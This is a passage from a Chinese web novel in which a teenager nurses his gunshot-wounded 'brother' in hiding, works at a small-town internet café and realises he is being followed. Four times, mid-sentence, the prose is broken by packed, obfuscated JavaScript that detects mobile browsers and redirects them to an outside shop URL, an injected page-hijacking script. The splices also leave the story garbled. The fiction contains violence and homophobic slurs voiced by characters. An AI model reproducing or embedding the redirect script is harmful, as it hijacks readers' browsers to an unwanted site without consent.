崔盛没立即接话。他用手指梳理白容生的头发,耐心地把他凌乱的头发理顺。 理完后,他也不嫌弃白容生折腾得灰头土脸,在他发顶亲了亲。 “听你的。”他说。 我的命也交到你手里。崔盛在心中默默补充。 崔盛到底精力不支,又在发烧,搂着白容生,过了会又睡过去。 白容生躺在昏暗里,静静睁眼想到半夜。 他不怎么安稳地睡了几个小时,大清早离开诊所,找个摊子买根油条,裹着塑料袋拿在手里啃,叫了辆车直奔郊外。 还好他路线记得熟,没找错。白容生下车后跺跺脚,踩着布满尘土的路面,暗暗鼓起一口气。 他直到中午才回去。那边不好叫车,还是坐镇上一家三轮摩托回到的市里。 白容生刚到诊所,大夫就劈头盖脸告诉他:“你得走了。” “这么快?” “嗯。我给他刚换过药,那边两袋都是给你开的药,一起拿走。”大夫给一个小孩打完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186780|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 针,折返回来,对白容生说,“听说没?叉子死了。” 白容生的喉结滚动了一下,点头,没说话。 他匆匆收拾了东西,想起自己之前还想着去给方琴烧把纸,只能等下次了。 “一路顺风。”大夫在他身后说。 崔盛换了衣服,看上去除了漏出来的纱布,没有异常。他手中只有一袋衣服,十分不适应地想接过白容生背的包,被白容生不客气地拒绝了。 打车离开北城区后,白容生找了个公交站附近下车。他和崔盛辗转公交、大巴,最后蹭了一段人家拉菜的三轮车,在镇上一家自建的小楼前下车。 崔盛路上没表现出异常,用遮阳帽盖住脸,下车时固执地还想拿包。白容生打开他的手时触碰到他的掌心,被温度吓了一跳。 “为什么又开始发烧了?”他心里有点崩溃,不知道这种枪伤应该怎么处理比较好,只有催促崔盛快些进去歇着。 这里是镇上规划混乱的一块区域,和崔盛最开始的家离得不是很远,他不明白白容生是怎么找到这里的。 挨挨挤挤、高矮不齐的房屋,采光一般,里面藏满了药店、小诊所、按摩店和只有几间房的宾馆。混杂在它们之间的,是可以随时出租,不查租客身份的出租屋。 白容生租的就是这样一个房间,比其他房间好的是有一个窄小的阳台,还有附带的洗手间。自然价格贵一点,不过这样更安全。 室内漂浮着淡淡的灰尘味,白容生推开窗通风。铁制的窗台在推拉间发出刺耳的噪音,推到一半还卡住不能动。 白容生费力地拍了两下,放弃了。 床上只有张旧床垫,崔盛用右手和白容生一起潦草地铺上床单。他还没开口,白容生就命令他躺下。 崔盛看起来不是很想服从,不过还是躺了下去。 他的配合有点出乎意料,白容生高兴了一点。他蹲在床头柜子前,按照大夫写的龙飞凤舞的单子,确定应该给崔盛喂什么药。 白容生把药片捏着送过去,崔盛却偏头没让他喂,自己拿过药吞了。 这番折腾两人都累得不行。药的反应很快上来,崔盛靠在床头,眼睛闭上了。 白容生也困,他打了个哈欠,蹑手蹑脚地锁门出去。 这栋楼一楼二楼都是宾馆,上面除了老板家自住一层,另一层都用于出租。大卫生间和厨房都是公用的,白容生去楼下逛了逛,在一家菜篮子买了袋面条和一把青菜。 他会简单做一点饭,饿不死就行。公用厨房当然称不上干净,油渍多,油烟味经久不散。 白容生煮了碗面条,不讲究地坐在不知道谁的小马扎上吃饭。这时候他还挺庆幸,学校七月不补课。 吃完面,白容生缓过来一点。他现在的难题在于,他不清楚北城区的状况,不确定等风头过去,崔盛还安不安全。 他把碗放进小锅里,端回房间随便洗了洗,摆在阳台。 外面太阳照得很热,白容生伸出手,手背的水珠被照得闪闪发亮。他举起手,挡在眼前看着,慢慢地攥紧拳头。 40.第 40 章 崔盛早上看着是好起来了,可能是因为一路坐车颠簸,中午再次烧起来,整个下午都是昏睡的。 他向来身体好,不怎么生病,受伤也好得快。唯独这次或许确实是流年不利,高热反反复复。 白容生一直不敢离开,时不时就要量体温,同时心里骂退烧药不管用。他不敢喂太多药,给崔盛喂的水里兑了点葡萄糖。 最难处理的还是伤口。白容生在诊所里旁观学过换药,这下只有他自己操作,实在是手忙脚乱。 天色擦黑的时候,白容生等不下去了。他洗把脸,将头发捋上去,下楼找医生。 这片晚上反而比白天热闹,各色小灯牌五颜六色地亮着,夜市小摊的推车也出来了,冒着滋滋的油烟气。 白容生转了一圈,镇上不大,就两家诊所。选定其中一家后,白容生进去,问能不能上门看诊。 夜班大夫刚坐下,衣服都没换,头发花白,听力似乎不好。白容生问了两遍,他才点头:“可以,可以,要加钱!” 白容生先付一半诊金,带着这个老头回到那间出租屋。 关上门的时候,他顺手反锁上门,想着如果这个大夫表现不对,他就…… 乱七八糟的想法一略而过,意外的是这个老头尽管眼花耳聋,但对崔盛的枪伤没有任何特殊的奇怪反应。他照常处理伤口,白容生站在旁边打着手电给他照亮,不忍细看血肉模糊的伤口。 伤口有些感染,得吊水。白容生和他回去诊所搬了个吊水架子摆在床边,来来回回好不容易折腾好,钱又花出去一笔。 他回到出租屋,衣服湿透了贴在背后,动作间显出突出的肩胛骨。 外面是半圆的月亮,白容生坐在床边,听着崔盛的旧mp3,伸长腿盯着吊水瓶。 崔盛口味复古,里面大多都是老歌,十来首反复循环播放,基本每首白容生都能跟着唱几句。 他随便用脚打拍子,胸腔内仿佛有一团跳跃的滚烫的火。 活下去,完好无损地活下去,还要越活越好,越走越高——高到再也不会这样狼狈,这样窘迫。 金钱与权力,在不太明亮的月光下,从未显得如此诱人。 点滴打完,白容生起身帮崔盛拔针,顺手试他的额头,温度没那么高了。他吐出口气,随便地窝在崔盛身边睡着了。 清晨时白容生醒了,他的身体紧贴着崔盛,仍然是有点热,不过比昨晚好一些。 他撑着床起身,凑过去叫了几声哥。崔盛模模糊糊半醒不醒的,白容生趁机让他喝水吃药,没几分钟,崔盛又睡了过去。 总归看到点好转的迹象,白容生舒了口气,翻身下床。他端着盆去楼下打热水,回来把身上擦洗干净,换了衣服。 楼下早点摊生意正好,白容生买了个包子,找了路边一块石墩坐下,边吃边思考。 面前是一面灰扑扑的砖墙,在他的视野里虚空勾勒出几道细细的白线,分别朝不同的方向延伸出去。 第一条路,舍弃这里的一切,换个城市重新开始。第二条,祈求运气好,躲过一段时间风头,就能继续如常生活。 还有第三条。 白容生觉得他的思维快要被劈成两半,冷静的一半让他等崔盛伤势好转就立刻离开这里,但还有另一半近乎疯狂地叫嚣着报复,告诉他不能这样无能地一走了之。 那一半是这个下流粗野的城市留刻在白容生身体里的东西催生出的,恰好他还是年轻冲动的十几岁,再怎么冷静,积压许久的仇恨,终究要寻找到一个裂口喷薄而出。 周围开始热了起来,白容生起身,沿着路一直走,推开镇上唯一一家网吧的门。 暑假是高峰期,网吧门口贴着张纸条,写着三个字“招网管”,管字还写错了。 大早上的,网吧里没多少人,大部分灯都关了,气味陈旧,很不好闻。但白容生全都习惯,接受良好。 前台的网管正仰头靠在椅子上睡觉,面前摆着没吃完的一桶方便面。白容生问了几句,才把他叫醒。 “什么?哦,网管,还招还招,你得住这附近,能值夜班,要男的……” 网管总算睁开眼,看清了白容生,微妙地一顿,“你?你是来应聘的?” “有经验,干过这个,能值夜班。”白容生说话时气质微妙地变了,看上去不再和网吧的环境格格不入。他这几个月长高不少,发育起来后,是个正经的青少年。 网管抓着头发翻出登记册:“身份证看一下,你别唬我啊,等会老板来了,他来面试你。” 白容生手搭在台面上,淡定地说:“没有证,也没成年。” 网管毫不意外,看向他身后:“老板来了,这有个应聘网管的,你看看呢。” 一个留着寸头、身材圆胖的中年男人拎着一袋早饭走进来,张口声音洪亮:“早饭来了啊,早饭!什么,来人了?” 网吧大小不一的电脑后探出几个幽灵一般的头,有气无力地报上座位和菜单。 “十五号两个包子。” “二十三号油条加稀饭。” …… 白容生看了眼老板,老板忙得都没抬头看,手里分出两份早饭递给他:“你帮忙送过去。” 他慢吞吞扫了眼早饭内容,记得是哪两个座位,拎着送过去。 送完回来,老板又指桌上几个袋子:“也送过去。” 白容生拿起来送完回来,老板已经坐下吃油条,刚刚那网管换了衣服出门,看上去是下班了。 “坐。”老板招呼白容生一起坐前台,“茶叶蛋吃不吃?” 白容生答已经吃过,老板看他一眼又说:“记性很好啊,脑子好用,还在上学?” “不一定还上。”白容生说,“刚刚是面试吗?” “哈哈。你面试肯定没问题,坐前面还能骗小女孩来,就是你别干两天跑走了,我还得再招人,很麻烦的。” “我能干满一个月。”白容生指了指门,“我在福满宾馆那租了一个月的房子,不会跑的。” 老板几口吃完早饭,拿起电话打过去。镇上人太少,有点事都容易查到,说了几句他放下电话,“可以,今晚先上个夜班我看看。姓白,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190967|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧,以后就叫你小白。我姓赵,叫我赵哥就行。” 白容生意思意思地签了个“白”字,赵老板嫌弃地把桌上的面桶扔掉,回头和他说:“试用一个夜班一个白班,之后工资是七天发一次,干不满七天就拿不到钱。” 是挺黑的,不过给白容生的工资和这里长久做的全职网管一样,白容生已经满意了。 他晚上来上班,出了网吧门,直奔诊所。 老大夫上一次门收一次钱,白容生难得掏钱时如此大方。他不迷信,不过看着崔盛,难免觉得崔盛每天一副天掉下来也砸不死的样子,总得遭受报应。 打了一针后白容生送这个老头出门。晚上还有夜班,下午他挨着崔盛睡觉,睡不踏实,不定时去摸崔盛的手和脖子试体温,直到一次,他的手被攥住了。 白容生一个激灵下意识坐起来,光眼睛睁大了,其实意识根本没清醒。他差点因为用力过猛一头栽倒在崔盛身上,盯着被握住的手看了半天:“哥,你醒了?” 崔盛这次清醒多了,对他点头。白容生晃晃脑袋,意识到时间已经不早了,抓着枕头垫在崔盛背后,扶他坐起来。 崔盛情绪显而易见的消沉,白容生以为他还很难受,正思考要不要给他拿止痛药。结果他的腰被崔盛右手搂住,之后崔盛缓慢地将额头靠在他身上。 这几天的颠簸和伤病折磨,让崔盛脸上惯常的锐气都没了,他瘦了点,比在监狱里时还要狼狈:“你哥是不是很没用?” 白容生思路被打断,诧异反问:“什么?” “打一枪就像要死一样。”崔盛低声说,“只会拖你后腿。” 白容生转过来抱住他,崔盛身上血味混着药味,很不好闻。他身上在冲药时溅了点药汁,也是一样的苦涩。 身体上的疼痛早就麻木,崔盛没什么感觉。他只有在揽住白容生,和看见白容生疲惫的神情时,有种胸口钝痛的错觉。 昏迷时他没有彻底失去意识,时而能感觉到白容生的触碰、自言自语,还有喂到口中的药。有时他不知道是做梦还是现实,白容生坐在他旁边,眼眶通红地说哥我们再也不要过这种生活了,窗外是吞没一切的巨大黑洞,他急切地想让白容生快走,白容生却无知无觉。 白容生什么都没说,他拍了拍崔盛的后背,“哥,吃点东西。” 这里没什么可吃的,白容生去厨房煮了碗清水面。崔盛手不方便,他跑去楼下借了把勺子回来喂,崔盛扭过头不吃。 “放那里我自己吃。”崔盛说话时尾音有些颤抖,“你不要喂我。” 白容生:“哥。” 他思考两秒,补充,“碗好烫,我端得手疼。” 崔盛完全被他打败了。实在没办法,皱眉接受他的帮助,白容生端着碗,他自己吃。 “我晚上去网吧。”崔盛吃的时候,白容生说,“打两天工。” 崔盛扫了眼旁边的药,他说:“除了必须的药都别买,也不要再找医生了,我自己能好。不去网吧不好吗?” 白容生对他摇头。崔盛心想,跟着我过得一点都不好。 41.第 41 章 前半夜是早上的网管小丁和白容生一起,顺便他还要带白容生上手工作。 网吧的那些杂事大差不差,白容生很快就摸清了。小丁也看出他是真的做过类似的活,不再管他,自己用旧电脑开始看几百集的超长电视剧。 接近半夜的时候,没什么新客人进来了。白容生打开电脑,登上他很久没上的社交账号。 他和崔盛都不怎么玩这个,这个号还是李舜催促下白容生注册的,目前好友寥寥,只加了两个班群。 除了聊天,还可以发布日常动态。白容生研究了一会,中间还抽空去给网吧客人送了碗泡面,很快就研究明白了。 他从班群里复制蒋兴康的账号,搜索,看见了蒋兴康发的动态。这还是他想起之前季兰无意提到的话,说蒋兴康很喜欢发动态,只要看动态就知道他的日常生活。 在这个大家普遍都灰头土脸的朴素时代,蒋兴康的动态充满了精挑细选的自拍和用心的摆设装饰。白容生根本不用费劲,就得知他现在正在江市一中进行竞赛培训。 屏幕的蓝光照在白容生漆黑的眼珠里,他沉思着关闭网页,转而搜索江市一中的资料。 小丁关掉电脑,打着哈欠起身:“那我下班了,你等明天老板来就可以走了。” 白容生对他笑着点头。 这个新同事很博得小丁的好感,他慷慨地把一包卤蛋留给白容生:“这个辣得很,晚上困了可以咬一口。” 白容生没有丝毫困意,他翻了几个网页后,关上电脑,整个人重重往后一靠,望着上方脏兮兮的屋顶。 “七号一瓶可乐!” “来了。” 白容生记好账,拿起可乐送过去。 要可乐的是个染着满头黄毛的年轻男人,应该是游戏刚输了一把,正烦闷地点烟。接过可乐时他斜过去一眼,忽然一愣,转过来认真地看向白容生的正脸。 白容生敏锐地回看过去,黄毛对他笑了笑。那笑容看不出恶意,却令白容生本能地感到不适。 “你是新来的网管啊?小丁不干了?”黄毛主动搭话,“之前没见过你,不是咱们这边的人吧。” “新来的。”白容生没理会他别的问题,“还有其他需要吗?” “没有了,需要我再叫你。”黄毛笑着说,“别那么警惕啊,我就想随便聊几句。” 白容生礼貌地对他微笑了一下,随后回到前台。 早上依然是赵老板提着大袋早饭进门,白容生帮忙挨桌送过去,顺便吃了老板请的早饭。 他赶着回去看崔盛,吃完就准备走。恰好这时,半夜要可乐的那个黄毛萎靡不振地过来结账,看见白容生,问他:“小网管一个月能赚多少啊,这么辛苦。” 不等白容生说话,赵老板在旁边不耐地开口:“滚一边去,我新找个网管你都得来多嘴,上次赊的网费还清了吗你?有空多去公厕里卖两次。” 被骂了黄毛也不恼,笑嘻嘻地抓着头出门去了。 赵老板回头对白容生讲:“你别理他,这傻逼是个卖屁股的同性恋,看见男的就发情,到处骚扰。他下次夜班再找你,你跟我说,我扇他两耳光去。” 同性恋这种事虽说少,不过白容生见过。不像洗头房这样还有规模,他们通常会藏在公园、公厕等地方,悄悄进行交易。 他不觉得自己有什么需要警惕的,敷衍地点点头。 白容生提着碗热粥回到出租屋,没看见崔盛躺在床上,他心里跳了下。好在下一秒就看见崔盛从狭小的洗手间侧身出来,还得低头省得被撞。 崔盛发梢还是湿的,他把身上简单收拾一通,还想将床铺一铺,但在那之前白容生就回来了。 “想死直说。”白容生冷冰冰地抛给他一句话,“还爬起来乱动,你怎么不直接跳下去?” 说完后他发现自己训斥人的语气似乎和崔盛一模一样,顿时闭嘴。 崔盛难得在他面前表现出弱势听话的样子,顺从地依照白容生的安排坐下。 他试图辩解:“我心里有数,不会扯到伤口的。这伤后面总能自己长好,我以前被枪打伤过。” 白容生把塑料碗一放,崔盛安静了。 他瞥了一眼崔盛,无师自通地学会了某种含蓄且意味深长的冷笑。 崔盛喝粥的时候白容生去收挂在外面的衣服,没注意到崔盛的目光一直跟随着他。 他的正脸看着还不明显,但侧脸线条已然褪去稚弱的部分,变得明晰流畅。 有时崔盛觉得他和白容生相处的时间还很短,有时候又觉得很长,好像他们真的是从小到大的一对兄弟那样。 白容生迅速投入到换了种模式的生活里。网吧赵老板对他挺满意,不过排班不固定,时而夜班时而白班,白容生的作息也跟着混乱颠倒。 崔盛对此颇有微词,可是也没办法。 之前买的药没吃完,崔盛竟然就可以下楼了。 白容生担忧他会不会晕倒在楼梯上,或者被空气里的细菌感染。崔盛无可奈何证明自己:“我一直都这样,这次伤得太重才会半死不活的。正常来说,不管什么伤,我恢复得都很快。” 毕竟,像野狗那样活着,命就得比野狗还硬。 白容生漆黑的双眼盯着他,崔盛莫名想起来那几个神志不清的夜晚,不知道是真实还是幻觉的触碰。有时他挺想问问白容生,在他昏迷的时候,有没有流泪,不过又觉得追问这个没有意思。 这个镇上反而比市里清净,虽说风气并没好到哪里去,但是路边一般都是闲散的小混混。 据说有点追求的全去市里了,每年都有人生死不明地失踪。 新一轮高热天气到来,白容生借着帮赵老板去市里批发雪糕的机会,坐上去市里的大巴。他没和崔盛说这事,下车后混入人群,坐上去北城区的公交。 车里空调作用不大,勉强比车外好一点。白容生一路折腾,头发湿淋淋地黏在脸上,眯着眼走在破旧的街边。 他谨慎地逛过几个地方,没有久留,赶回去雪糕厂那边谈批发的单子。就这样潦草地打听完,白容生也感觉出情况并不乐观。 叉子的死亡太突然了,北城区几个大混混都猝不及防。大雁吃下了大部分叉子的地盘,并且依照惯例展开清洗,白容生亲眼所见崔盛的黑白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196042|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照片还在墙上挂着。 但是,破坏了这里一直以来的潜规则的贾大海,他在C市多年的统治和威严终于出现了明显的晃动。这群混混都是逮到机会就咬人的狼犬,假如他们齐心要和贾大海作对,C市必然要大翻天,应该也不会有人还记着清剿叉子的“余孽”。 物伤其类,这群大混混看见了叉子的下场,才能短暂合作。 不过,大雁的态度一直含糊不明。毕竟他的好兄弟萨鬼还在监狱里,而听闻风声,蒋警司有意向给萨鬼弄个假释。 无论如何,崔盛最近还是不要露面为好。 赵老板是雪糕厂的老主顾,再加上今天是去镇上送货的日子,白容生挤在面包车里,和几大箱雪糕一起回到镇子。 他被晃得头晕,好在今天不用再去网吧上班了,拎着两根雪糕回到出租屋。 崔盛在房间里通常都赤着上半身,左肩的伤口看上去依旧狰狞,连带着他肩后的纹身都被破坏了一块。他在楼上就看见了白容生回来,按灭烟,打开门迎接他。 白容生递给他雪糕,催他快打开吃,又躬身跑去找药。 崔盛对吃药很抗拒,除了必须的,止痛药一类是一概不吃。夏天的伤口康复很难熬,白容生看他抽烟就知道是伤口又在发作。 药粉冲了一小杯温水,崔盛被白容生挡着,没办法端起来喝掉。喝完药,他顺手摸了摸白容生额角的汗,突然问:“今天跑哪里去了?” 白容生正悄悄比他还比崔盛矮多少,闻言面不改色:“出去帮老板买雪糕。” “去市里了?” 白容生很不欣赏他明知故问的态度,鼻腔里哼了声。 天热,袋子里雪糕多少融化了一些,甜腻的奶香裹着巧克力碎片往下淌。 眼看着崔盛手里举着的要掉下去了,白容生头一低,伸出舌头把那一块卷进口中,冰得“嗯!”了声。 “尽量还是别去。”崔盛举着雪糕也不吃,见白容生蹭过来还向他嘴边送了送,“被人看见会很麻烦。” 白容生推着崔盛的手把雪糕还回去:“应该不会有事,他们基本上都不认识我。” 他在崔盛吃雪糕时简单把现在的消息讲了讲,崔盛不意外。听完后冷不丁问白容生:“咱们现在还有多少钱?” 白容生转身去床底拽出他的旧背包,盘腿坐地上查了查。崔盛将吃完的雪糕木棍一丢,蹲下和他说:“这钱你拿着,八月回学校去上学,再住校一学期,行不行?” “你呢?” “我去别的地方打工。”崔盛显然这段时间已经考虑好了,平静地说,“你开学我就走,等明年我再回来,这件事风头应该就过去了。” 白容生一言不发地看着他。崔盛以为他误会什么,解释说:“我不会离开你的,只要能回来我就会回来,钱我也会给你。” “凭什么要我们躲?”白容生忽然说,“明明该死的是他们。” “因为我没本事,杀不了他。”崔盛漠然说,“弱肉强食,就是这个规矩,蒋翰耍我也只有认了。” 过了会崔盛突兀地补充:“我不想离开你,但现在我不得不这样。” 42.第 42 章 又是夜班。白容生熟练地帮一桌修完电脑,踢开几根缠得分不清的电线出来,回到前台喝水。 现在已经快凌晨五点,网吧里的客人不少也在睡觉或者开着电视剧打盹。白容生刚在前台睡过,正清醒着,旁边有人说:“来杯可乐。” 他递过去,找笔记本子:“哪台机?” “十八号。”那人拿了可乐却没走,笑嘻嘻地走近一步,“还在这干呢?” 白容生记完账,圆珠笔在手中转了一圈,转头看见熟悉的满头黄毛。 黄毛好像把头发重新染了一遍,颜色明晃晃的。他喝了口可乐,压低声音问白容生:“哎,你是不是缺钱,我可以给你介绍个工作。” 白容生不动声色,顺着他话说:“什么工作?” “看你肯不肯干咯。”黄毛双手支在前台上,“陪聊天、陪喝酒、陪玩、睡觉,每个都有不同的价,像你这样的——” 他拉长声音,凑近白容生,“像你这样的肯定很贵,全看你能卖出去多少了。” “卖给女人?”白容生低头检查今晚的记账。 “当然不是,卖给男人。” 然而黄毛并没得到想象中的反应,白容生只是平淡地扫了他一眼,边算账边说:“你报的价低了,市里面一般还要高一点,有些KTV里面更贵。” 黄毛愣住,白容生算完,改了一处写错的地方,放下笔看他:“对我来说最高的价,要买我还是太便宜了。你以后不要再为着这个问题来骚扰我。” 等了一会,白容生问:“还不走?” 黄毛握着可乐走开两步,又回来说:“你应该比我还小吧,看不出来你还挺有经验的……所以我之前没猜错,你喜欢男人,对不对?” 白容生烦不胜烦,冷着脸回答:“我喜欢钱。” 赶走黄毛后,等到街上热闹起来,赵老板照旧提着两大袋早点回来。 白容生拿着自己的那份走出网吧,几口吃下包子,找了个安静的地方蹲下,拿出手机。 快到七月底,崔盛的伤还没愈合好,他给冯少平打电话请假。 电话那头冯少平说什么也要白容生亲自来学校请。白容生向来在学校是个满分好学生,头一回对老师不那么客气,说完请假就关机了。 崔盛的电话卡早扔了,他也不怕冯少平找到崔盛告状。 白容生最近已经练习出了随时随地,只要没事就能睡觉的技能。他回去倒头就睡,睡完下午起来陪崔盛去诊所看伤口。 现在崔盛还是不能自如活动,他从里面诊室出来,脸色有些阴沉。 因为心情不好,他在走廊里站了站,收拾好表情才出去找白容生。 白容生等的时间久了,抱着手靠在椅子上差点睡过去。崔盛站在他旁边,伸手轻轻摸了摸他的脸,带来一股发苦的药味。 “这周做完,就别去了吧。”崔盛说,“该回学校。” 白容生:“你没好之前,我不走。” 崔盛顿时皱起眉,还没说什么,他的话就被一个声音截断了:“咦,小网管,你这是……” 黄毛拎着袋子,自来熟地把脸凑过来,对上崔盛的视线后,有点惊讶地后仰。他“嗳”了一句,还没再说别的,崔盛就盯着他,冷淡地问:“你是哪位?” “网吧的客户。”白容生不想多说,起身推着崔盛出门。 哪想到黄毛执着地跟上来,笑着问白容生:“这个不会是你男朋友吧?” 白容生转头看他,都没来得及做出反应,崔盛抓住黄毛的头发,将他向后一扯:“你说什么?” 黄毛痛得大叫起来,手胡乱挥打,被崔盛轻松避开,单手把他按到墙上:“什么男朋友?你说清楚点。” 他语气平淡,眼神冰冷,黄毛被他吓得胡乱骂着,还是白容生抓住崔盛的手向后拉:“哥,没什么,别管他,我们走吧。” 崔盛松开手,黄毛立刻抓着药忙不迭地跑了出去。他胸口明显地起伏了一下,转头看白容生:“男朋友?你在网吧,遇到的是这种人?” “他自己同性恋以为别人也是而已。”白容生说,“招惹不起其他人,就来招惹我两句,没别的事。” 崔盛言简意赅:“网吧那边不要再去了。” “做完这周。” 崔盛沉默片刻,把那股火压了下去。他说:“我准备订车票,等到下周,火车总可以坐了。” 白容生不说话,崔盛看着他的脸,一时间竟然也不知道说什么。 四目相对,白容生面无表情,忽然抬手按在崔盛肩膀上。 崔盛根本没想到提防他,被对着伤口直直按下,尽管硬是忍住没发出声音,可表情难免扭曲了一下。 白容生放开手:“你不要这只手的话,可以直接去医院截肢。” 崔盛叹口气,不跟他计较这个。过了几秒,忍不住再次强调:“不管怎么样,不要跟那种不三不四的人说话。” 先是被“不三不四的人”生出来再被同样的人抚养长大的白容生离奇地看了他一眼,崔盛补充,“我是你哥,不一样。” 搞同性恋的人不多,但也不少。崔盛当年刚出来混的时候,有时晚上找不到地方睡,曾考虑过去北城区的那个老公园凑合一晚。 后来他在里面转了圈,转身就走,决定宁愿睡路边都不再去公园。晚上的公园被乞丐、吸毒的和出来卖的男男女女占领,即使看见崔盛这个明显不大的小孩,都有不少人试图找他搭话。 再后面他大了,有次帮忙找人又去了夜晚的公园,被里面恶心得够呛。前几个月在监狱里,都是男人,抓瘦弱或者好看点的男人“用”更是里面的常态。 不过,同性恋毫无疑问是这群不三不四的人里面更低一级的存在。但凡是正常人,怎么会喜欢同性?显得多么恶心。 崔盛同样觉得这种人脑子有问题,希望白容生离那个黄毛远一点。如果那种同性恋敢看上白容生,他不介意把对方灌水泥里。 白容生见惯了这种骚扰。三四岁的时候他就知道在他妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200397|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带男人回来的晚上自己找个地方待着,去洗头房后面不改色经过在走廊摸起来的人,偶尔还要准确分辨并躲避喜欢小孩的变态,黄毛的几句在他这完全不够看。 还有两天就能拿到这周的工资,白容生心里算账,决心咬咬牙多干两个夜班,这样能多赚一点,工资凑个整。 七月底天气没那么酷热难耐,赵老板得知白容生真的只干一个月就走,心里倒挺惋惜的。他最开始以为白容生是那种腼腆学生,没想到干活熟练,遇事也处变不惊,着实是熟手。 白容生只说他要陪他哥去打工。赵老板不怀疑,只说他这里还招长期网管,白容生如果打工不顺,欢迎随时回来。 最后一个夜班结束时,白容生转到前台后柜子挡住的角落换衣服。他在网吧穿的工作服是店里的一件旧衣服,通宵后往往都带着店里不好闻的气味。 这边他换好自己的衣服转出来,赵老板照例拿着早饭进门。白容生帮忙最后一次送给网吧里客人,回来就收到他那份饭。 他还要等着赵老板看账本和发工资,就趴在前台,不大讲究地端起一杯豆脑,配着笼包吃下去。 “可以,没问题。”赵老板很大方,确定账本没问题,就打开收银柜数钱,“我算算钱……哎对了,那个死同性恋后面没来骚扰你吧?” 白容生都把黄毛忘了,听见这问题愣了一愣,“哦,没有。他怎么了?” “我是说,你长得挺俊,可不要因为一时间缺钱跟他走歪路。”赵老板递给他工资,“去年镇上有俩小伙子跟他去市里混,有个染上吸白粉的,回来过年没躺几天就死了。他好像是在市里欠了钱,回镇子上躲着,天天不知道在哪攥两个子来上网,要不是我得叫他妈一声姨,谁理这龟孙子。” 知道他是好心,白容生笑笑应了。 “不过他不知道最近找了什么活,去市里两天了。”赵老板嘟囔,“不来也好。小白,你看钱没错吧?” 白容生点头:“那我走了,老板,这些天谢谢你照顾。” 今天赵老板来得早,白容生计划着给崔盛带份早饭,再买点菜中午吃。网吧不远处就是几家早餐摊子,白容生要了两根油条和一份鸡蛋灌饼,忽然心里一紧。 他很相信自己的直觉,若无其事地先拿着油条,转去鸡蛋灌饼摊子时借机往后一瞟,看见站在网吧门口抽烟的黄毛。 这一幕本不奇怪,毕竟黄毛是网吧常客。可黄毛似乎在看着白容生的方向,且时不时转头四处乱瞟,焦虑的样子很明显。 白容生勾过装着鸡蛋灌饼的袋子,装作没拿稳把里面的火腿肠掉了出来。摊子老板这些天都认识他了,忙说不要紧,再给他煎一个。 借此白容生正着向网吧看了眼,黄毛身后门里,还站着几个人。 而且大概是因为白容生留下来再等另一根火腿肠,门后有人脚都迈出来了,又收回去。 电光石火间,白容生想起赵老板说,黄毛这两天去了市里。而那天,黄毛绝对记住了崔盛长什么样。 43.第 43 章 有时大脑产生的只是一种模糊的怀疑,人很难确定是不是想多了。 白容生把火腿夹进鸡蛋灌饼,神情自若地转而去菜市场。 这里的菜市场只有上午有人,基本上是附近村子里的人自家的菜拉过来卖,见人下菜碟很厉害,白容生硬是学会了砍价。 现在正是菜市场买菜的高峰期,中间还要过去许多辆自行车电瓶车。白容生恰好借着他们的车后镜观察后方,果然看见黄毛显眼的头发。 对方既然跟过来了,那么就说明不是他多想。 白容生站在一个菜摊前给崔盛打电话,问:“哥,中午吃茄子还是丝瓜?” 崔盛可能在刷牙,含糊道:“你想吃什么就买什么。” 白容生:“那就丝瓜,再买点豆角。对了哥,我晾着的那件裤子你帮我收一下,楼上空调一直在滴水。” 说完他挂读电话,拎着菜往出租屋走。 镇上的自建房和违章建筑实在太多,不知道哪里就能穿过去。白容生走得快,黄毛不敢跟太紧被发现,追得满身是汗。 眼看着白容生的背影消失在一个拐角,他被后面人冲肩膀狠抽了一巴掌:“跟个人这么费劲,直接上去把他绑了不行?” 黄毛被打得一个踉跄,不敢发火,赔笑:“绑了他,你们要找的那人不就跑了吗?我是冲着悬赏带你们来抓人的。” 